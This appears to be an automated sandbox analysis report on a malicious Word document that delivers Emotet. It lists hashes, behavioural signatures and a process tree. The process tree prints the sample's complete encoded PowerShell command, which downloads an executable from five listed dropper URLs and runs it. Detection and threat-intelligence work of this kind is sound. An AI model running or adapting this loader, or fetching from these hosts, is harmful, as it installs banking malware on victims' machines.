Analysis
- max time kernel
143s - max time network
133s - platform
windows10_x64 - resource
win10v200722 - submitted
28/07/2020, 10:02
Static task
static1
Behavioral task
behavioral1
Sample
749464045419330.doc
Resource
win7
0 signatures
0 seconds
General
- Target 749464045419330.doc
- Size 171KB
- Sample200728-4sg4e5be8n
- SHA256 26906041efdeafb6c1754eac8dff97abf079148816f1121ef92bfaed0a6e9991
- MD5 5f33f6ae2eb0cf4f6f33e7aefb7ef452
- SHA1 b8072688f1ae53ab1cdf7108d6425c9ade4dfdd4
- SHA512 51af02cc3f94b6bb72c4602aa1a94c1fae03314914345dd279f388c4e0e530bf47f444026ee2ed1086b42a82d8372d7a3d770a29474f87d52993609b370f59f9
- MD5 SHA1 SHA512
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://yamnadlan.com/ynpw/xbmls_93_p7nihtnif9/
-
exe.dropper
https://xaviertapias.com/images/3z_f73rn_ay/
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exe.dropper
http://www.tatweeralsham.com/cgi-bin/2_y_v7g/
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exe.dropper
http://strike3productions.com/squad/f3_v_zmbt5xob7/
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exe.dropper
http://taltus.co.uk/a_359_l/
Signatures
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3956 wrote to memory of 2844 3956 882.exe 78 PID 3956 wrote to memory of 2844 3956 882.exe 78 PID 3956 wrote to memory of 2844 3956 882.exe 78 - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\sppwmi\doskey.exe 882.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3876 WINWORD.EXE 3876 WINWORD.EXE - Executes dropped EXE 2 IoCs
pid Process 3956 882.exe 2844 doskey.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4048 powersheLL.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4048 powersheLL.exe 4048 powersheLL.exe 4048 powersheLL.exe 2844 doskey.exe 2844 doskey.exe 2844 doskey.exe 2844 doskey.exe - Blacklisted process makes network request 1 IoCs
flow pid Process 20 4048 powersheLL.exe - Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3956-9-0x0000000000800000-0x000000000080C000-memory.dmp emotet behavioral2/memory/2844-12-0x0000000000740000-0x000000000074C000-memory.dmp emotet - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3956 882.exe 3956 882.exe 2844 doskey.exe 2844 doskey.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4048 792 powersheLL.exe 66
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\749464045419330.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:3876
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JAB2AGkAYQBtAGcAdQB1AGIAZgBlAG8AdABoAGMAaAB1AHYAPQAnAGwAZQBnAGYAbwB1AGgAegBlAG8AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAEkAVABgAHkAcAByAG8AVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJAB5AGkAYQBmAGgAYQBpAHQAYwBoAHUAdQBzAGoAYQBjACAAPQAgACcAOAA4ADIAJwA7ACQAZwBlAGUAYgBxAHUAYQB1AHMAZwBlAG8AegB0AGUAYQBzAD0AJwBwAGEAZQBkAHgAZQBlAHIAYwBpAHoAJwA7ACQAYgBhAGkAaABtAG8AdQBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB5AGkAYQBmAGgAYQBpAHQAYwBoAHUAdQBzAGoAYQBjACsAJwAuAGUAeABlACcAOwAkAGMAbwBqAHoAYQBpAHMAbQBhAHUAcwBkAGEAYwBoAD0AJwBjAGEAbwB4AHAAbwBhAGwAJwA7ACQAbABpAGUAdgBqAGUAbwBkAGQAYQBtAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAVAAuAFcAZQBiAGMAbABpAEUATgB0ADsAJABuAG8AaQB2AHcAdQB1AGcAdABhAHUAcwBoAG8AdQB4AD0AJwBoAHQAdABwADoALwAvAHkAYQBtAG4AYQBkAGwAYQBuAC4AYwBvAG0ALwB5AG4AcAB3AC8AeABiAG0AbABzAF8AOQAzAF8AcAA3AG4AaQBoAHQAbgBpAGYAOQAvACoAaAB0AHQAcABzADoALwAvAHgAYQB2AGkAZQByAHQAYQBwAGkAYQBzAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvADMAegBfAGYANwAzAHIAbgBfAGEAeQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHQAYQB0AHcAZQBlAHIAYQBsAHMAaABhAG0ALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAyAF8AeQBfAHYANwBnAC8AKgBoAHQAdABwADoALwAvAHMAdAByAGkAawBlADMAcAByAG8AZAB1AGMAdABpAG8AbgBzAC4AYwBvAG0ALwBzAHEAdQBhAGQALwBmADMAXwB2AF8AegBtAGIAdAA1AHgAbwBiADcALwAqAGgAdAB0AHAAOgAvAC8AdABhAGwAdAB1AHMALgBjAG8ALgB1AGsALwBhAF8AMwA1ADkAXwBsAC8AJwAuACIAcwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABtAGUAZQB0AGgAeABhAGUAYwBsAHUAdQB0AD0AJwBnAG8AdQBsAGsAYQBvAHEAdQB4AGUAbwB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABjAGgAYQBpAHAAbgB1AHAAIABpAG4AIAAkAG4AbwBpAHYAdwB1AHUAZwB0AGEAdQBzAGgAbwB1AHgAKQB7AHQAcgB5AHsAJABsAGkAZQB2AGoAZQBvAGQAZABhAG0ALgAiAEQAbwB3AGAATgBsAG8AYQBkAGAARgBgAEkAbABFACIAKAAkAGMAaABhAGkAcABuAHUAcAAsACAAJABiAGEAaQBoAG0AbwB1AGsAKQA7ACQAYwBpAGUAZgBkAGEAaQB0AGgAeQBhAGkAcwBiAGEAaQBjAGgAPQAnAGoAbwBtAHEAdQBlAHUAZABwAGEAdQBjACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAYgBhAGkAaABtAG8AdQBrACkALgAiAEwAYABlAE4ARwB0AGgAIgAgAC0AZwBlACAAMwAzADAANAAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBgAGUAYQBUAGUAIgAoACQAYgBhAGkAaABtAG8AdQBrACkAOwAkAG4AZQB1AHAAZwBlAGUAYgB6AGUAaQBuAD0AJwBqAG8AdQBjAGgAagBpAGEAdgB0AGUAdQBiAHMAZQBhAHAAJwA7AGIAcgBlAGEAawA7ACQAZABpAGoAeQB1AGEAZABwAGkAYQB0AHoAbwB1AGoAPQAnAGMAYQBnAGwAZQBpAHAAdABvAG8AbgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB0AGgAZQBiAG4AbwBpAHkAPQAnAGgAYQBvAHEAdQB0AGEAawBxAHUAbwB1AHQAcgB1AGEAZgAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
PID:4048
-
C:\Users\Admin\882.exeC:\Users\Admin\882.exe1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3956 -
C:\Windows\SysWOW64\sppwmi\doskey.exe"C:\Windows\SysWOW64\sppwmi\doskey.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2844
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